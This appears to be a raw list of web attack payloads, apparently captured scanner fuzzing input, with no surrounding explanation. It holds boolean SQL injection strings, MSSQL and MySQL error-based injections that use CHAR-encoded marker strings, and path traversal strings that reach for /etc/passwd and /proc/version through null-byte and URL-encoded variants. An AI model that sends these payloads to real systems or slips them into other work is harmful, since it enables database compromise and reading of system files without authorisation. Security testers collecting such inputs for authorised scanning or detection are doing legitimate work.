20

-1" OR 3+588-588-1=0+0+0+1 --

../../../../../../../../../../etc/passwd%00.jpg

"+convert(int,CHAR(52)+CHAR(67)+CHAR(117)+CHAR(109)+CHAR(86)+CHAR(81)+CHAR(48)+CHAR(83)+CHAR(89)+CHAR(75)+CHAR(122))+"

-1" OR 2+588-588-1=0+0+0+1 --

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

"+(select convert(int,CHAR(52)+CHAR(67)+CHAR(117)+CHAR(109)+CHAR(86)+CHAR(81)+CHAR(48)+CHAR(83)+CHAR(89)+CHAR(75)+CHAR(122)) FROM syscolumns)+"

1

../../../../../../../../../../../../../../../proc/version

"(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(109),CHAR(86),CHAR(81),CHAR(48),CHAR(83),CHAR(89),CHAR(75),CHAR(122)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))"